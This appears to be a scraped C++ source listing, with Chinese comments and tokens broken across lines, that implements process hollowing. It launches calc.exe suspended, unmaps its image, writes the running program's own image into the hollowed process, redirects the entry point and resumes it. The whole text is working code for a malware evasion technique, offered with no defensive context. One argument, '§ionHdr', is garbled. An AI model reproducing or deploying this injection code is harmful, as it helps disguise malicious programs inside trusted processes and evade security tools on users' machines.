int InjectEXE()
{
TCHAR tzFileName[MAX_PATH];
GetModuleFileName(NULL, tzFileName, MAX_PATH);
if
(_tcsstr(tzFileName, _T(
"calc.exe"
)) != NULL)
{
//
判断是否在傀儡进程内
OutputDebugString(tzFileName);
return
0;
}
else
{
IMAGE_DOS_HEADER dosHdr;
IMAGE_FILE_HEADER fileHdr;
IMAGE_OPTIONAL_HEADER optionHdr;
PIMAGE_SECTION_HEADER sectionHdr;
//
获取加载基址
HANDLE hModuleBase = GetModuleHandle(NULL);
//
计算镜像大小,其实可以直接读取PE结构里面的镜像大小
//
但如果你自己写LOAD的话 就需要去对齐了
ULONG ImageSize = calctotalImageSize(hModuleBase, &dosHdr, &fileHdr, &optionHdr, §ionHdr);
printf
(
"ImageBase 0x%08x\n"
, optionHdr.ImageBase);
printf
(
"SizeOfImage %d\n"
, ImageSize);
printf
(
"EntryPoint 0x%08x\n"
, optionHdr.AddressOfEntryPoint);
putchar(
'\n'
);
if
(doInject(ImageSize, &fileHdr, &optionHdr, sectionHdr))
return
1;
}
return
1;
}
int calctotalImageSize(HANDLE hModule, PIMAGE_DOS_HEADER dosHdr, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER *sectionHdr)
{
//
拷贝数据到DOS结构
memcpy(dosHdr, (void*)hModule, dosHdrlen);
if
(dosHdr->e_magic != 0x5a4d)
{
printf
(
"the file not MZ signature.\n"
);
return
false
;
}
//
指针指向真正的PE结构
unsigned long offset = (unsigned long)hModule + dosHdr->e_lfanew + sizeof(long);
//
拷贝FILE结构
memcpy(fileHdr, (void*)offset, fileHdrlen);
if
(fileHdr->NumberOfSections < 2 ||
fileHdr->SizeOfOptionalHeader != optionHdrlen)
{
return
false
;
}
//
拷贝OPTIONAL结构
offset += fileHdrlen;
memcpy(optionHdr, (void*)offset, optionHdrlen);
//
读取PE区段表数据
offset += optionHdrlen;
unsigned short numberofsection = fileHdr->NumberOfSections;
*sectionHdr = new IMAGE_SECTION_HEADER[numberofsection];
memset(*sectionHdr, 0, numberofsection * sectionHdrlen);
memcpy(*sectionHdr, (void*)offset, numberofsection * sectionHdrlen);
//
获取内存对齐值
unsigned long nRetval = 0;
unsigned long alignment = optionHdr->SectionAlignment;
//
模除取余 如果不够4096 则向上保持内存页对齐
if
(optionHdr->SizeOfHeaders % alignment == 0)
nRetval += optionHdr->SizeOfHeaders;
else
{
int val = optionHdr->SizeOfHeaders / alignment;
val ++;
nRetval += (val * alignment);
}
//
for
循环对齐区段表在内存中所占的大小
PIMAGE_SECTION_HEADER sectiontemp = *sectionHdr;
for
(short i = 0; i < numberofsection; i++)
{
if
(sectiontemp[i].Misc.VirtualSize)
{
if
(sectiontemp[i].Misc.VirtualSize % alignment == 0)
nRetval += sectiontemp[i].Misc.VirtualSize;
else
{
int val = sectiontemp[i].Misc.VirtualSize / alignment;
val ++;
nRetval += (val * alignment);
}
}
}
return
nRetval;
}
bool doInject(int Imagesize, PIMAGE_FILE_HEADER fileHdr, PIMAGE_OPTIONAL_HEADER optionHdr, PIMAGE_SECTION_HEADER sectionHdr)
{
CONTEXT threadCxt;
PROCEINFO proceInfo;
PROCESS_INFORMATION pi;
if
(CreateInjectEXE(&proceInfo, &threadCxt, &pi))
{
printf
(
"puppet process id %d Size %d\n"
, pi.dwProcessId, proceInfo.ulImageSize);
printf
(
"puppet process imagebase 0x%08x\n"
, proceInfo.ulBaseAddr);
putchar(
'\n'
);
void *lptrloc = (void *)NULL;
//
如果自身基址与傀儡进程相同
//
并且自身镜像大小小于傀儡进程镜像大小
//
则把这块内存设置可读可写属性
if
(optionHdr->ImageBase == proceInfo.ulBaseAddr && Imagesize <= (int)proceInfo.ulImageSize)
{
lptrloc = (void *)proceInfo.ulBaseAddr;
VirtualProtectEx(pi.hProcess, (void *)proceInfo.ulBaseAddr, Imagesize, PAGE_EXECUTE_READWRITE, NULL);
}
else
{
//
卸载内存空间数据
if
(unloadMemImage(pi.hProcess, proceInfo.ulBaseAddr))
{
//
重新申请自身镜像大小的内存空间
lptrloc = VirtualAllocEx(pi.hProcess, (void *)optionHdr->ImageBase, Imagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if
(lptrloc)
{
printf
(
"lptrloc new address 0x%08x\n"
, lptrloc);
}
}
}
if
(!lptrloc)
{
lptrloc = VirtualAllocEx(pi.hProcess, (void *)NULL, Imagesize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
}
unsigned long ulWritten;
unsigned long *ulPebInfo = (unsigned long *)threadCxt.Ebx;
//
取lptrloc在内存的地址
int nRetval = WriteProcessMemory(pi.hProcess, &ulPebInfo[2], &lptrloc, sizeof(void *), &ulWritten);
//
自身的数据写入到傀儡进程中
if
(nRetval && WriteProcessMemory(pi.hProcess, lptrloc, (void *)optionHdr->ImageBase, Imagesize, &ulWritten))
{
threadCxt.ContextFlags = CONTEXT_FULL;
if
((unsigned long)lptrloc == proceInfo.ulBaseAddr)
{
threadCxt.Eax = optionHdr->ImageBase + optionHdr->AddressOfEntryPoint;
}
else
threadCxt.Eax = (unsigned long)lptrloc + optionHdr->AddressOfEntryPoint;
printf
(
"fix threadCxt.Eax 0x%08x\n"
, threadCxt.Eax);
putchar(
'\n'
);
SetThreadContext(pi.hThread, &threadCxt);
ResumeThread(pi.hThread);
}
}
return
true
;
}
bool CreateInjectEXE(PPROCEINFO proceInfo, PCONTEXT threadCxt, PPROCESS_INFORMATION pi)
{
STARTUPINFO si = {0};
si.cb = sizeof(si);
//
创建挂起进程
if
(CreateProcess(INJECTEXEFILE, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, pi))
{
//
获取傀儡进程 主线程上下文
threadCxt->ContextFlags = CONTEXT_FULL;
GetThreadContext(pi->hThread, threadCxt);
//
获取傀儡进程基址
unsigned long ulBytes;
unsigned long *ulPebInfo = (unsigned long*)threadCxt->Ebx;
ReadProcessMemory(pi->hProcess, &ulPebInfo[2], (void*)&(proceInfo->ulBaseAddr), sizeof(long), &ulBytes);
MEMORY_BASIC_INFORMATION memInfo;
memset(&memInfo, 0, sizeof(memInfo));
//
计算傀儡进程所占用的镜像大小
unsigned long ulmemAddr = proceInfo->ulBaseAddr;
while
(VirtualQueryEx(pi->hProcess, (void*)ulmemAddr, &memInfo, sizeof(memInfo)))
{
if
(memInfo.State == MEM_FREE)
break
;
ulmemAddr += memInfo.RegionSize;
}
proceInfo->ulImageSize = ulmemAddr - proceInfo->ulBaseAddr;
return
true
;
}
return
false
;
}
bool unloadMemImage(HANDLE hProcess, unsigned long ulBaseAddr)
{
typedef unsigned long (__stdcall *PTRZwUnmapViewOfSection) (HANDLE, void*);
PTRZwUnmapViewOfSection ZwUnmapViewOfSection = NULL;
HMODULE hInst = LoadLibrary(_T(
"ntdll.dll"
));
if
(hInst)
{
ZwUnmapViewOfSection = (PTRZwUnmapViewOfSection)GetProcAddress(hInst,
"ZwUnmapViewOfSection"
);
if
(ZwUnmapViewOfSection(hProcess, (void*)ulBaseAddr) == 0)
{
FreeLibrary(hInst);
return
true
;
}
}
return
false
;
}